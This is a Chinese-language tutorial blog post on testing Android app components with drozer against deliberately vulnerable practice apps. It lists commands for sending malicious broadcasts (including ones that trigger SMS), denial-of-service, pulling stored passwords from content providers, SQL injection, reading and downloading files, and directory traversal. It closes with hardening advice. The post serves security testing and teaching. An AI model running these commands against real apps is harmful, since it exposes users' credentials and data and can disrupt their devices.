利用drozer简单测试安卓四大组件

留下了没有技术的眼泪

0x00 常用命令方法和流程

  • 手机打开drozer agent,开启服务
  • 端口转发 adb forward tcp:31415 tcp:31415
  • 在安装目录开启drozer drozer console connect
  • 获得包名 run app.package.list -f 包名
  • 查找攻击面 run app.package.attacksurface 包名
  • 查看activity组件 run app.activity.info -a 包名
  • 调用activity组件 run app.activity.start --component 包名 组件名
  • 测试activity劫持
  • 查看Broadcast组件 run app.broadcast.info -a 包名
  • 打开手机日志 adb logcat
  • 发送恶意广播 run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222,在手机日志查看
  • 拒绝服务,空action run app.broadcast.send --component 包名 广播名,空extras run app.broadcast.send --action 广播名
  • 查看Services组件 run app.service.info -a 包名
  • 调用服务组件 run app.service.start --action 服务名 --component 包名 服务名
  • 查看Content组件 run app.provider.info -a 包名
  • 信息泄露,访问所有URL run scanner.provider.finduris -a 包名,查询URL的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
  • SQL注入(还是看详情吧)
  • 读取系统文件 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
  • 下载系统文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
  • 目录遍历 run scanner.provider.traversal -a 包名

0x01 四大组件

Activity(界面):通常展现为一个可视化的用户界面。
Service(服务):无用户界面,但它会在后台一直执行。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。
Content provider(内容提供者):主要用于在不同应用程序之间实现数据共享的功能。

0x02 准备环境

1.drozer下载地址:

https://pan.baidu.com/s/1hGj9BDex4JZNr7u74Dt4jg
这是整合了Python27的,解压缩直接安装即可,agent.apk需要安装到模拟器或者手机里面。

解压缩后

被用来测试的APK(里面各种安卓漏洞)下载地址:
链接:https://pan.baidu.com/s/1oE3s04tXmIEWMW_9UbyLAQ
提取码:zjm1

2.其他环境

(1)adb下载地址https://pan.baidu.com/s/1b-gqxqsYdcTdInILa8bS4A(需要配置环境变量将安装目录放到PATH里面)
(2)JDK下载地址https://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html(同上)
(3)推荐一下吾爱破解的爱盘,里面的测试工具很多,找不到可以去里面搜索,感谢各位大表哥。https://down.52pojie.cn

0x03 准备测试

1.手机或者模拟器端

安装drozer Agent,打开开启服务,开启调试模式(模拟器不需要开启)


手机

2.电脑端

(1)打开cmd,输入adb devices 查看连接的设备
(2)进行端口转发
adb forward tcp:31415 tcp:31415

adb

(3)到drozer安装目录下面,运行
drozer console connect

drozer

如果出现Could not find Java
Java问题

1).可能Java环境变量没有配好,在cmd输入Java时出现,说明没问题;
Java

2).在drozer目录下建立名为 .drozer_config 的文件,添加如下内容

[executables]
java=C:\Program Files\Java\jdk1.8.0_151\bin\java.exe
javac=C:\Program Files\Java\jdk1.8.0_151\bin\javac.exe

Java的安装目录需要自行更改,安装位置一般如上,可自行查找,可能版本号略有不同;可能无法创建文件,可以先创建1.drozer_config,利用命令行
rename 1.drozer_config .drozer_config

0x04 组件测试

1.获得包名(package_name是测试的包名)

run app.package.list -f package_name
比如你知道包的一部分,就可以run app.package.list -f low(-f后面的package可以只是包名的一部分)


run app.package.list也可以直接查看全部应用从里面查找
再不行,可以直接用Android Killer获得的,跳过了这一步
包名

2.查找攻击面

run app.package.attacksurface package_name

攻击面

发现有 6个 activities,12 个broadcast receivers ,0个 content providers,5个 services exported。

3.activity 组件测试

(1)查看activity组件信息

run app.activity.info -a package_name

Activity组件详情

(2)调用暴露的activity组件

run app.activity.start --component package_name com.lp.patchActivity
patchActivity会启动主界面;
一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。

(3)Activity劫持

工具不方便提供,请自行百度
1.获取要劫持的应用;
2.劫持服务开始;
3.将程序放到后台,打开刚才选择要劫持的应用;
4.出现下图界面,说明劫持成功。


劫持成功

4.Broadcast Receivers 组件测试

(1)查看Broadcast组件信息

run app.broadcast.info -a package_name

(2)调用组件,测试发送恶意广播包

需要dex2jar反编译,利用jd-gui查看源代码,在源代码中查看广播名,一般只查看广播名的后半段,例如图中的PackageChangeReceiver(也可以直接用Android Killer查看)


举例1
FourGoats.APP


查看AndroidManifest.xml 文件,receiver 的 exported 设置未进行设置,说明可以发送恶意广播。

再查看源代码,可以看到源代码参数phoneNumber和massage,会发送Your text message has been sent!


发送恶意代码
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa
注意,这里的--action后面的不是广播名,而是查看AndroidManifest.xml 文件得到的。
也可以用下面这样的语句,这里的广播名,就是查看广播信息后得到的。
run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222 --extra string message abc

举例2
Vul_BroadcastReceiver.APP

在 在新的cmd 窗口查看手机的 Log 日志
adb logcat


打开Vul_BroadcastReceiver.APP,输入任意值,点击Send,就可以在Log日志里面查看到信息。

查看Java源代码,参数为number


发送恶意广播包,在drozer上运行
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 66666

说明存在安全隐患。
当然例一也可以用例二中的方法查看


恶意广播代码
run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa


当然例二也可以用例一中的方法查看
查看源代码,代码意思就是向number发送一条短信,短信的内容为“Hi, Your Registration has been confirmed”

测试可以真实手机,可以发送短信的手机,将number设为自己手机号。
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********

(3)调用组件,拒绝服务攻击

拒绝服务分两种空 actoin 和空 extras
空action
run app.broadcast.send --component 包名 广播名



空extras
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

5.Services组件测试

(1)查看Services组件信息

run app.service.info -a package_name


上面显示服务均为引用外部服务,如果引用外部组件,一般不测试;内部服务一般为包名加服务名。

(2)调用内部服务组件

run app.service.start --action 服务名 --component 包名 服务名
可以先查看服务是干嘛的,了解服务是干嘛的再测试。

6.Content 组件测试(内容提供者)

需要用到的测试app--sives.apk

(1)查看组件信息

run app.provider.info -a 包名

(2)信息泄露利用

获取所有可以访问的URL
run scanner.provider.finduris -a 包名

查询Passwords数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

当然能查询到数据,前提是你通过sieve.app录入数据了


(3)SQL 注入

先进行简单的注入检查
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"


run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"

列出所有的表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

查看表的内容
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

也可以直接进行注入点扫描,查找存在注入的点
run scanner.provider.injection -a com.mwr.example.sieve

列出该app的表名
run scanner.provider.sqltables -a com.mwr.example.sieve

(4)系统文件读取和下载

读取系统文件,有可能会不成功
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts


下载系统文件到本地
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

(5)目录遍历

run scanner.provider.traversal -a com.mwr.example.sieve

总结:

  1. 当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索android:exported);
  2. 当 组件为公有组件时,建议对其进行权限控制。

文章哪里写的不详细,不用想,那里我也不懂

参考链接:
1.Drozer 官方网站工具
2.Drozer 官方使用指南 (中文版)
3.安卓四大组件审计实验(drozer)
4. drozer 工具的安装与使用:之一安装篇
5.Android 开发四大组件概述
6.Android 一一 简述 Android 四大组件
7.Android安全测试框架Drozer(使用篇)
8.drozer模式命令大全
9.Android 中的组件安全漏洞介绍和检测

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,612评论 5 471
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,345评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,625评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,022评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,974评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,227评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,688评论 3 392
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,358评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,490评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,402评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,446评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,126评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,721评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,802评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,013评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,504评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,080评论 2 341

推荐阅读更多精彩内容